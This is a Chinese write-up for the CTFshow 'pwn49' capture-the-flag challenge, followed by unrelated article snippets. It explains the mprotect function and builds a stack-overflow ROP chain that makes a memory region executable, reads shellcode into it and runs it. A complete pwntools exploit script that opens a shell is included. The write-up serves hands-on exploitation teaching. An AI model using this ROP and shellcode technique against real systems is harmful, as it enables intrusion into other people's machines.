CTFshow-pwn入门-栈溢出pwn49(静态链接pwn-mprotect函数的应用)

news2024/9/23 15:26:24

pwn49

在这里插入图片描述
首先我们先将pwn文件下载下来,然后赋上可执行权限,再来查看pwn文件的保护信息。

chomd +x pwn
checksec pwn
file pwn

在这里插入图片描述
我们可以看到这是一个32位的pwn文件,并且保护信息开启了NX和canary,也就是堆栈不可执行且有canary。最最最重要的是这个文件是statically linked!!!静态编译文件呀!

根据题目的提示,我们可能需要用到mprotect函数,那我们就先来了解一下什么是mprotect函数吧。这个函数是只要是静态链接的文件都会有的哦。

mprotect()函数可以修改调用进程内存页的保护属性,如果调用进程尝试以违反保护属性的方式访问该内存,则内核会发出一个SIGSEGV信号给该进程。
#include <sys/mman.h>
int mprotect(void *addr, size_t len, int prot);
addr:修改保护属性区域的起始地址,addr必须是一个内存页的起始地址,简而言之为页大小(一般是 4KB == 4096字节)整数倍。
len:被修改保护属性区域的长度,最好为页大小整数倍。修改区域范围[addr, addr+len-1]。
prot:可以取以下几个值,并可以用“|”将几个属性结合起来使用:
1)PROT_READ:内存段可读;
2)PROT_WRITE:内存段可写;
3)PROT_EXEC:内存段可执行;
4)PROT_NONE:内存段不可访问。
返回值:0;成功,-1;失败(并且errno被设置)
1)EACCES:无法设置内存段的保护属性。当通过 mmap(2) 映射一个文件为只读权限时,接着使用 mprotect() 标志为 PROT_WRITE这种情况就会发生。
2)EINVAL:addr不是有效指针,或者不是系统页大小的倍数。
3)ENOMEM:内核内部的结构体无法分配。
这里的参数prot:
r:4
w:2
x:1
prot为7(1+2+4)就是rwx可读可写可执行,与linux文件属性用法类似

OK,开始做题,我们先来将pwn文件拖入ida中反编译一下,查看一下反编译的c代码。

// main
int __cdecl main(int argc, const char **argv, const char **envp)
{
  init_0();
  logo();
  ctfshow();
  return 0;
}
// ctfshow
int ctfshow()
{
  char v1[14]; // [esp+6h] [ebp-12h] BYREF

  return read(0, v1, 100);
}

可以算出偏移地址为0x12 + 0x4 = 22
既然程序是静态连接,并且里面没有system函数,我们就不能使用ret2libc来打了。所以我们就是用mprotect函数来打,因为mprotect函数可以修改一段内存空间的权限,那我们选择一段内存空间将它的权限修改为可读可写可执行,然后将shellcode写在这段空间,之后再将程序的控制流转到这里,不就可以执行shellcode了嘛?即使文件开启了NX,但是我们利用的是栈之外的空间,不久轻松绕过了NX。hhh

下面我们开始构思我们的ROP链:
首先肯定是先来22个填充数据:

payload = 22 * 'a'

然后接下来就是ctfshow函数的返回地址,我们将返回地址设为mprotect函数的地址。我们使用gdb pwn动态调试,使用diass mprotect命令查看汇编代码就能看到mprotect函数的起始地址了。
在这里插入图片描述
我们看到mprotect函数的地址为:0x0806cdd0
那么我们的ROP链就延长为:

payload = 22 * 'a' 
payload += p32(0x0806cdd0)

接下来就是再填入一个mprotect函数的返回地址,这个返回地址可是大有讲究,因为我们需要将它的返回地址设置为read函数的地址,这样我们才能利用read函数将shellcode写到内存空间里。
这样我们的大概思路就是:
填充地址 + mprotect函数 + 返回地址 + mprotect的三个参数 + read函数
我们看到mprotect函数是有三个参数的我们就必须要找到一个具有三个pop一个ret的gadget,因为,我们将三个参数pop之后,栈顶就是read函数的地址了,这样ret之后就跳到read函数执行了。

我们使用ROPgadget --binary pwn --only “pop|ret” | grep "pop"这条命令来找具有3个pop1个ret的gadget。
在这里插入图片描述
那我们就选用这个第三个gadget,地址是0x08056194。
然后再gdb pwn,调试disass ctfshow查看ctfshow的汇编代码就能看到read函数的地址了。
在这里插入图片描述
可以看到read函数地址为:0x806bee0

然后我们再来确定mprotect函数的参数:
第一个参数,我们要修改权限的内存空间起始地址,我们就是用got表的起始地址来存放shellcode。我们使用readelf -S pwn命令可以查看所有节头信息,里边就包含got表的起始地址。
在这里插入图片描述
我们找到了got表的起始地址为:0x080da000
然后第二个参数是修改的空间大小为多少,我们就选用0x1000,足够我们的shellcode使用了。
第三个参数的我们对这片空间赋予的权限是什么,7代表可读可写可执行,这就跟linux文件权限的道理是一样的。

这样我们新的ROP链就为:

payload = 22 * 'a' 
payload += p32(0x0806cdd0) # mprotect函数地址
payload += p32(0x08056194) # 3 pop 1 ret地址	
payload += p32(0x080da000) # 需要修改的内存的起始地址
payload += p32(0x1000) # 修改内存空间的大小
payload += p32(0x7) # 需要赋予的权限
payload += p32(0x806bee0) # read函数地址

接下来就是我们的read函数了。
开始调用read函数ROP链的大概图为:
read函数 + read函数返回地址(就是我们shellcode所在地址-即我们修改的内存空间的起始地址) + read参数1 + read参数2(就是我们shellcode地址) + read参数3(read读取的大小)

这样的话我们就只需要获取read参数3就行了,因为返回地址即shellcode地址都已经找出了,参数1就写0就行,参数3的大小只要不小于shellcode的长度就行。
新的ROP链为:

payload = 22 * 'a' 
payload += p32(0x0806cdd0) # mprotect函数地址
payload += p32(0x08056194) # 3 pop 1 ret地址	
payload += p32(0x080da000) # 需要修改的内存的起始地址
payload += p32(0x1000) # 修改内存空间的大小
payload += p32(0x7) # 需要赋予的权限

shellcode = asm(shellcraft.sh(),arch='i386',os='linux')

payload += p32(0x806bee0) # read函数地址
payload += p32(0x080da000) # read函数返回地址(就是我们shellcode所在地址,即我们修改的内存空间的起始地址)
payload += p32(0x0) 
payload += p32(0x080da000) # shellcode地址
payload += p32(len(shellcode))

之后我们就可以先将ROP链发送过去,这时程序控制流就会执行我们ROP链中的read函数,然后我们再把我们的shellcode发送过去,就成功了!

完整wp:

from pwn import *

p = remote("pwn.challenge.ctf.show", "28141")
payload = 22 * 'a'
payload += p32(0x0806cdd0)# mprotect函数地址
payload += p32(0x08056194)# 3 pop 1 ret地址	
payload += p32(0x080da000)# 需要修改的内存的起始地址
payload += p32(0x1000)# 修改内存空间的大小
payload += p32(0x7)# 需要赋予的权限

shellcode = asm(shellcraft.sh(),arch='i386',os='linux')

payload += p32(0x806bee0)# read函数地址
payload += p32(0x080da000)# read函数返回地址(就是我们shellcode所在地址,即我们修改的内存空间的起始地址)
payload += p32(0x0)
payload += p32(0x080da000)# shellcode地址
payload += p32(len(shellcode))
p.recvuntil("    * *************************************                           ")
p.sendline(payload)
p.sendline(shellcode)
p.interactive()

执行效果:
在这里插入图片描述
在这里插入图片描述
成功拿到flag!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/732430.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

算数运算符

运算符介绍&#xff1a;运算符是一种特殊的符号&#xff0c;用以表示数据的运算、赋值和比较等。 算术运算符赋值运算符关系运算符逻辑运算符位运算符三元运算符 算术运算符 算术运算符是对数值类型的变量进行运算的。 % 取模&#xff0c;取余 在 % 的本质&#xff0c;a % b…

UE5.1.1 C++从0开始(17.GAS游戏能力系统)

教程的链接&#xff1a;https://www.bilibili.com/video/BV1nU4y1X7iQ 教程内的老师没用GAS的插件&#xff0c;而是自己写了一个。这一篇文章只是开头&#xff0c;还有很多的内容没有往里面写。 新增了一个object类&#xff0c;新增了一个使用这个类的组件。然后把这个组件用…

text-to-3d方面的论文列表分享

以下给出几篇我个人觉得比较有价值的text-to-3d的论文列表&#xff0c;论文的超链接会连接到arxiv上。 DreamfusionFantasia3DTangoLatent-NeRFMagic-3dClip-ForgeClip-MeshDreamfieldAvatarCLIPPoint-EShape-EText2Mesh

P3804 【模板】后缀自动机(SAM)

题目描述 给定一个只包含小写字母的字符串 S。 请你求出 S 的所有出现次数不为 11 的子串的出现次数乘上该子串长度的最大值。 输入格式 一行一个仅包含小写字母的字符串 S。 输出格式 一个整数&#xff0c;为所求答案。 题解&#xff1a;这里就不讲后缀自动机的模板相关…

zigbee学习之DHT11温湿度传感器+zigbee无线通信

开发环境&#xff1a;IAR烧录器串口调试助手CC2530DHT11 两个模块&#xff1a;一个作为协调器&#xff0c;负责接收数据&#xff0c;一个作为终端&#xff0c;负责发送数据 步骤&#xff1a; 1、SampleApp.c里配引脚P0_6(查看硬件上的标识) 2、DTH11.c里配引脚 3、修改PANID和信…

超纯水抛光混床树脂的选择及工艺流程

一、什么是超纯水&#xff1f; 既将水中的导电介质几乎完全去除&#xff0c;又将水中不离解的胶体物质、气体及有机物均去除至很低程度的水。电阻率大于18MΩ*cm&#xff0c;或接近18.3MΩ*cm极限值。 超纯水是科技界为了研制超纯材料&#xff08;半导体原件材料、纳米精细陶…

服务器搭建oracle,并远程连接教程

下载两个压缩包&#xff0c;然后上传到服务器&#xff0c; 软件安装09&#xff1a;CentOS安装Oracle - 虚拟机 - 5997CK - 欢迎您! (hezhilin.online) 这里有全部步骤&#xff0c;反正过了几天我也会忘记&#xff0c;不赘述了。 直接上拆的坑&#xff1a; 开启服务器端口后…

借书问题-2022年全国青少年信息素养大赛Python国赛第3题

[导读]&#xff1a;超平老师计划推出《全国青少年信息素养大赛Python编程真题解析》50讲&#xff0c;这是超平老师解读Python编程挑战赛真题系列的第5讲。 全国青少年信息素养大赛&#xff08;原全国青少年电子信息智能创新大赛&#xff09;是“世界机器人大会青少年机器人设计…

9.33UEC++、容器

1.定义&#xff1a; 2.TArray&#xff1a;快&#xff0c;小&#xff0c;高 &#xff1a;同质容器 &#xff1a;创建栈对象&#xff0c;不能创建堆对象 如何构建TArray&#xff1a; 获取方式&#xff1a; 实现方式&#xff1a;定义一个array容器数组&#xff0c;两种遍历方式…

跳跃游戏(力扣)贪心 JAVA

给定一个非负整数数组 nums &#xff0c;你最初位于数组的 第一个下标 。 数组中的每个元素代表你在该位置可以跳跃的最大长度。 判断你是否能够到达最后一个下标。 示例 1&#xff1a; 输入&#xff1a;nums [2,3,1,1,4] 输出&#xff1a;true 解释&#xff1a;可以先跳 1 步…

【实用工具】(BeyondCompare+CppCheck对某次更新的文件进行静态检查)按文件清单复制文件到指定文件夹的辅助工具【2023.07.07】

摘要 开发一个功能提交了多次代码&#xff0c;现在需要比较最终的提交和某次提交的差异并进行静态代码检查。用到了BeyondCompare和CppCheck软件。但是有个问题&#xff0c;BeyondCompare不能把差异项导出&#xff0c;于是乎花了两个小时写了个辅助工具。 使用说明 第一步&…

校服选购定制小程序开发制作功能介绍

本次为各大校服服装定制生产老板介绍一下校服定制商城小程序系统的功能&#xff0c;为大家做参考。 校服定制小程序主要功能有&#xff1a; 1、每个学校校服定制信息独立&#xff0c;不同的学校打开小程序里面信息可以不同。 2、学校致家长的一封信。 3、学生信息录入和下单信息…

【VUE】项目设置超时6分钟,实际1分钟就超时了

一、背景&#xff1a;VUE项目中&#xff0c;前端接口请求设置6分钟&#xff0c;但实际在浏览器中1分钟就超时了 timeout: 6 * 60 * 1000二、经查&#xff1a;不是前端代码设置的问题&#xff0c;也不是浏览器的问题&#xff0c;而是nginx超时设置默认为60S&#xff0c;导致1分…

hexo个人博客搭建(二)butterfly主题配置

Butterfly主题安装文档(二)之主题配置 一、回顾安装butterfly主题 1、在hexo项目根目录下执行操作clone主题 git clone -b master https://github.com/jerryc127/hexo-theme-butterfly.git themes/butterfly2、如果沒有 pug 以及 stylus 的渲染器&#xff0c;还需要下载&…

matlab语言的前世今生

matlab语言的算法库是用什么语言实现的? Matlab的算法库是用C和C++语言实现的。 Matlab本身是一个解释型的高级编程语言,但它的核心算法库是使用更底层的C和C++语言编写的。这些库提供了许多数值计算、统计分析、信号处理、图像处理、优化等常用算法函数,并以mex文件的形式集…

投票评选活动小程序v2-搜索功能和最新排序功能实现

投票评选活动小程序-搜索功能和最新排序功能实现 优秀人物评选活动&#xff0c;五四奖章评选、优秀工作者人物评选、劳动最光荣评选。通常需要一个搜索功能&#xff0c;用户通过输入名称或编号搜索对应的作品项目或者人物&#xff0c;进行投票。或者通过最新排序功能查看列表情…

pytorch超详细安装教程,Anaconda、PyTorch和PyCharm整套安装流程

本文介绍基于Anaconda环境以及PyCharm软件结合&#xff0c;安装PyTorch深度学习框架。 PyTorch深度学习框架详细安装教程 一、anaconda安装&#xff08;一&#xff09;下载&#xff08;二&#xff09;安装&#xff08;三&#xff09;配置环境变量&#xff08;四&#xff09;检查…

虚假人脸检测实验

虚假人脸检测实验 虚假人脸识别 数据集链接 链接&#xff1a;https://pan.baidu.com/s/1hDyJ91dAwI5j5GTR0hD_cA?pwd4cki 原理 ResNet-18是一种经典的CNN网络&#xff0c;是 Deep Residual Learning 团队在 2017 年提出的。它是为了解决 ImageNet 数据集上的图像分类任务而…

会话机制【Cookie 和 Session】,登陆页面的模拟实现

前言 小亭子正在努力的学习编程&#xff0c;接下来将开启JavaEE的学习~~ 分享的文章都是学习的笔记和感悟&#xff0c;如有不妥之处希望大佬们批评指正~~ 同时如果本文对你有帮助的话&#xff0c;烦请点赞关注支持一波, 感激不尽~~ 目录 前言 Cookie 和 Session 是什么 Cookie…

【计算机网络】计算机网络概述

&#x1f525; 本文由 程序喵正在路上 原创&#xff0c;CSDN首发&#xff01; &#x1f496; 系列专栏&#xff1a;计算机网络 &#x1f320; 首发时间&#xff1a;2023年7月8日 &#x1f98b; 欢迎关注&#x1f5b1;点赞&#x1f44d;收藏&#x1f31f;留言&#x1f43e; &…